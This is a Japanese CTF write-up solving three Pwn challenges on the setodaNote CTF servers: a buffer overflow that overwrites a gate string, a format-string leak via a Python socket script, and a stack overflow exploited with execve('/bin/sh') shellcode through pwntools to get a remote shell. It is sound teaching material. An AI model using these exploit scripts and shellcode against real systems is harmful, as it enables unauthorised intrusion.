🛡️

setodaNote CTF Exhibition Writeup (Pwn)

2024/10/21に公開

Pwn - tkys_let_die

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。

以下の例のようにサーバにアクセスしてフラグを得てください。

nc nc.ctf.setodanote.net 26501

この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。

  • Server: nc.ctf.setodanote.net
  • Port: 26501

問題にはgate.cとそのコンパイル結果と思われるgateというファイルが添付されています。
gate.cの内容は以下の通りです。

gate.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");    
    printf("\n");
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

このプログラムの流れは以下のようになっています。

  1. バッファgateを6バイトとし、"close"を格納します。
  2. バッファnameを16バイトとし、".."を格納します。
  3. 「You'll need permission to pass. What's your name?」と標準出力します。
  4. 標準入力を最大32バイトまで受け取り、バッファnameに格納します。
  5. バッファgateの値が"open"の場合、/bin/cat ./flagを実行します。それ以外の場合、「Gate is <gate>.」「Goodbay <name>.」と標準出力します。

つまり、gateの値を"open"にできればflagが表示されそうです。
ここで、バッファnameに着目します。
流れ4にて標準入力を最大32バイトまで受け取っていますが、流れ1によると16バイト分しか領域を確保していません。
よって、16バイト以上の文字を入力することでgateの値を書き換えられそうです。
まずは、abcdefghijklmnopqrstuvwxyz01234という値を入力してみます。

$ nc nc.ctf.setodanote.net 26501

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyz01234
Gate is 01234.
Goodbay abcdefghijklmnopqrstuvwxyz01234.
$

「Gate is 01234.」と表示されているので、abcdefghijklmnopqrstuvwxyzopenと入力すればgateの値を書き換えられそうです。

$ nc nc.ctf.setodanote.net 26501                                        

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyzopen 

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================
$

正答:flag{Alohomora}

Pwn - 1989

脆弱性を調査し、フラグを入手してください。

nc nc.ctf.setodanote.net 26502

この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。

  • Server: nc.ctf.setodanote.net
  • Port: 26502

まず、サーバに接続してみます。

$ nc nc.ctf.setodanote.net 26502
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x5664c060] >> flag is here << 
        | 

Ready > yes
Your Inpur : yes
$

「CWE-134」と表示されていますが、これは外部から入力されたフォーマット指定子(%x等)をそのまま解釈してprintf系列の関数を実行してしまう脆弱性[1]です。
試しに%p% と入力してみます。

$ nc nc.ctf.setodanote.net 26502                     
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56580060] >> flag is here << 
        | 

Ready > %p
Your Inpur : 0xffbe6950
$

メモリアドレス0xffbe6950が表示されたので、このプログラムには確かにCWE-134の脆弱性があります。
次に、入力値がスタックのどこにあるか確認します。

$ nc nc.ctf.setodanote.net 26502
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56571060] >> flag is here << 
        | 

Ready > %p.%p.%p.%p     
Your Inpur : 0xfff57260.0xfff57668.0x5656e306.0x252e7025
$

ここで、0x252e7025をデコードすると%.p%となります。
つまり、入力値はスタックの4番目に位置しています。
この特徴を利用し、「>> flag is here <<」の前に記載されているメモリアドレスを表示させます。
ただし、手動ではうまくペイロードを送信できないので、Pythonでコードを書いて実行します。

1989.py
import socket
import re
import struct

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    # サーバに接続
    s.connect(("nc.ctf.setodanote.net", 26502))

    # サーバから受信したデータ
    data = s.recv(1024).decode()
    print(data)

    # flagのメモリアドレス
    match = re.search(r"\[(0x[0-9a-f]+)\]", data)
    flag_address = int(match.group(1), 16)

    # サーバに送信するデータ
    # struct.pack("<I", flag_address):リトルエンディアン形式のflag_address
    # b"%4$s\n":スタックの4番目の内容
    payload = struct.pack("<I", flag_address) + b"%4$s\n"

    # サーバに送信
    s.send(payload)

    # サーバから受信したデータ
    response = s.recv(1024).decode()
    print(response)
$ python 1989.py
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x565c5060] >> flag is here << 
        | 

Ready > 
Your Inpur : `P\Vflag{Homenum_Revelio_1989}
$ 

正答:flag{Homenum_Revelio_1989}

Pwn - Shellcode

添付されたファイルを解析し、サーバにアクセスしてフラグを入手してください。

nc nc.ctf.setodanote.net 26503

この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。

  • Server: nc.ctf.setodanote.net
  • Port: 26503

問題にはshellcodeというファイルが添付されています。
まず、ファイルの種類を調べます。

$ file shellcode
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped
$

shellcodeはLinux上で実行可能なファイルのようです。
次に、実際にサーバに接続してみます。

$ nc nc.ctf.setodanote.net 26503
       |
target | [0x7ffc400e9230]
       |
Well. Ready for the shellcode?
> yes
yes
$

まだよく分からないので、Ghidraでshellcodeをデコンパイルし、関数mainを詳しく見てみます。

undefined8 main(void)

{
  char local_58 [80];
  
  setvbuf(stdout,local_58,2,0x50);
  puts("       |");
  printf("target | [%p]\n",local_58);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);
  return 0;
}

関数mainの処理の流れは以下の通りです。

  1. 80バイトのバッファlocal_58を定義します。
  2. 標準出力するデータのバッファとして80(0x50)バイトのバッファlocal_58を使用します。
  3. 「 |」を標準出力します。
  4. 「target | [<local_58のメモリアドレス>]」を標準出力します。
  5. 「 |」を標準出力します。
  6. 「Well. Ready for the shellcode?」を標準出力します。
  7. 標準入力をバッファlocal_58に格納します。
  8. local_58の内容を標準出力します。

流れ1にてバッファlocal_58は80バイトとして定義していますが、流れ7にて標準入力のサイズを確認していないため、バッファオーバーフローの脆弱性があると言えます。
この脆弱性を利用し、シェルコードを標準入力し、リターンアドレスをlocal_58のメモリアドレスに書き換えることでシェルを取得します。
Pythonでコードを書く前にgdbを使ってリターンアドレスが格納されているメモリアドレスを把握しておきます。

  1. gdbを起動します。
$ gdb shellcode
GNU gdb (Debian 15.1-1) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from shellcode...
(No debugging symbols found in shellcode)
(gdb) 
  1. 関数mainのアセンブリコードを表示し、scanfの呼び出しのオフセットが+121+0x79)であることと、その直後の命令のオフセットが+126+0x7e)であることを確認します。
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000001165 <+0>:     push   %rbp
   0x0000000000001166 <+1>:     mov    %rsp,%rbp
   0x0000000000001169 <+4>:     sub    $0x50,%rsp
   0x000000000000116d <+8>:     mov    0x2ed4(%rip),%rax        # 0x4048 <stdout@GLIBC_2.2.5>
   0x0000000000001174 <+15>:    lea    -0x50(%rbp),%rsi
   0x0000000000001178 <+19>:    mov    $0x50,%ecx
   0x000000000000117d <+24>:    mov    $0x2,%edx
   0x0000000000001182 <+29>:    mov    %rax,%rdi
   0x0000000000001185 <+32>:    call   0x1050 <setvbuf@plt>
   0x000000000000118a <+37>:    lea    0xe77(%rip),%rdi        # 0x2008
   0x0000000000001191 <+44>:    call   0x1030 <puts@plt>
   0x0000000000001196 <+49>:    lea    -0x50(%rbp),%rax
   0x000000000000119a <+53>:    mov    %rax,%rsi
   0x000000000000119d <+56>:    lea    0xe6d(%rip),%rdi        # 0x2011
   0x00000000000011a4 <+63>:    mov    $0x0,%eax
   0x00000000000011a9 <+68>:    call   0x1040 <printf@plt>
   0x00000000000011ae <+73>:    lea    0xe53(%rip),%rdi        # 0x2008
   0x00000000000011b5 <+80>:    call   0x1030 <puts@plt>
   0x00000000000011ba <+85>:    lea    0xe5f(%rip),%rdi        # 0x2020
   0x00000000000011c1 <+92>:    mov    $0x0,%eax
   0x00000000000011c6 <+97>:    call   0x1040 <printf@plt>
   0x00000000000011cb <+102>:   lea    -0x50(%rbp),%rax
   0x00000000000011cf <+106>:   mov    %rax,%rsi
   0x00000000000011d2 <+109>:   lea    0xe69(%rip),%rdi        # 0x2042
   0x00000000000011d9 <+116>:   mov    $0x0,%eax
   0x00000000000011de <+121>:   call   0x1060 <__isoc99_scanf@plt>
   0x00000000000011e3 <+126>:   lea    -0x50(%rbp),%rax
   0x00000000000011e7 <+130>:   mov    %rax,%rdi
   0x00000000000011ea <+133>:   call   0x1030 <puts@plt>
   0x00000000000011ef <+138>:   mov    $0x0,%eax
   0x00000000000011f4 <+143>:   leave
   0x00000000000011f5 <+144>:   ret
End of assembler dump.
(gdb)
  1. scanfの直前に1つ目のブレークポイントを設定します。
(gdb) break *main+0x79
Breakpoint 1 at 0x11de
(gdb)
  1. scanfの直後に2つ目のブレークポイントを設定します。
(gdb) break *main+0x7e
Breakpoint 2 at 0x5555555551e3
(gdb)
  1. shellcodescanfの直前まで実行します。
(gdb) run
Starting program: /mnt/CTF/setodaNote CTF Exhibition/Pwn/Shellcode/shellcode 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
       |
target | [0x7fffffffdc20]
       |
Well. Ready for the shellcode?
> 
Breakpoint 1, 0x00005555555551de in main ()
(gdb)
  1. スタックフレームの情報を表示し、リターンアドレスが格納されているメモリアドレスが0x7fffffffdc78であることを確認します。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc80:
 rip = 0x5555555551de in main; saved rip = 0x7ffff7de6dba
 Arglist at 0x7fffffffdc70, args: 
 Locals at 0x7fffffffdc70, Previous frame's sp is 0x7fffffffdc80
 Saved registers:
  rbp at 0x7fffffffdc70, rip at 0x7fffffffdc78
(gdb)
  1. (6までで十分ですが、念のためリターンアドレスを書き換える様子も確認しておきます。)「target」として表示されているバッファlocal_58のメインメモリアドレス0x7fffffffdc20から24個分のメモリの内容を表示し、メモリアドレス0x7fffffffdc78の位置に値0x7ffff7de6dbaがあることを確認します。
(gdb) x/24x 0x7fffffffdc20
0x7fffffffdc20: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc30: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc40: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc50: 0x00000000      0x00000000      0xf7fe45b0      0x00007fff
0x7fffffffdc60: 0xffffdd40      0x00007fff      0x00000000      0x00000000
0x7fffffffdc70: 0x00000001      0x00000000      0xf7de6dba      0x00007fff
(gdb)
  1. shellcodescanfの直後まで実行し、標準入力として「AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC」(A * 80個、B * 8個、C * 8個)を与えます。
(gdb) continue
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Breakpoint 2, 0x00005555555551e3 in main ()
(gdb)
  1. スタックフレームの情報を表示し、リターンアドレスの値が0x7ffff7de6dbaから0x4343434343434343CCCCCCCC)に書き換えられていることを確認します。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc80:
 rip = 0x5555555551e3 in main; saved rip = 0x4343434343434343
 Arglist at 0x7fffffffdc70, args: 
 Locals at 0x7fffffffdc70, Previous frame's sp is 0x7fffffffdc80
 Saved registers:
  rbp at 0x7fffffffdc70, rip at 0x7fffffffdc78
(gdb)
  1. メモリの内容を表示し、9と同様の内容を確認します。
(gdb) x/24x 0x7fffffffdc20
0x7fffffffdc20: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdc30: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdc40: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdc50: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdc60: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdc70: 0x42424242      0x42424242      0x43434343      0x43434343
(gdb)

「target」として表示されているバッファlocal_58のメインメモリアドレスからリターンアドレスのメモリアドレスまで0x58バイト(0x7fffffffdc78 - 0x7fffffffdc20)ということが分かったので、あとはPythonでコードを書いていきます。
なお、Python標準ライブラリだけだと厳しかったので、今回はPwntoolsを使わせていただきました。

https://github.com/Gallopsled/pwntools

また、シェルコードはShell-Stormで公開されている「Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad」を使用しました。

https://shell-storm.org/shellcode/index.html

shellcode.py
import pwn

# シェルコード
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# ランタイムはfileコマンドの実行結果よりAMD64
pwn.context.arch = "amd64"

# サーバに接続
connection = pwn.remote("nc.ctf.setodanote.net", 26503)

# targetのメモリアドレスが表示されるまで読み込む
connection.recvuntil(b"target | [0x")

# targetのメモリアドレス(12バイト、16進数)
target = int(connection.read(12), 16)

# シェルコードが0x58バイトに満たない場合は0x90(No Operation命令)で穴埋めし、末尾にtargetのメモリアドレスを追加
payload = shellcode.ljust(0x58, b"\x90") + pwn.pack(target, endianness="little")

# 「> 」が表示されたらペイロードをサーバに送信
connection.sendlineafter(b"> ", payload)

# サーバとインタラクティブに通信
connection.interactive()
$ python shellcode.py                                
[←] Opening connection to nc.ctf.setodanote.net on port 26503: Trying 220.100[+] Opening connection to nc.ctf.setodanote.net on port 26503: Done
[*] Switching to interactive mode
1\xc0H\xbbѝ\x96\x91Ќ\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 r\xc5N\xfe\x7f$                                                               
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
$ 

正答:flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

脚注
  1. https://jvndb.jvn.jp/ja/cwe/CWE-134.html ↩︎

Discussion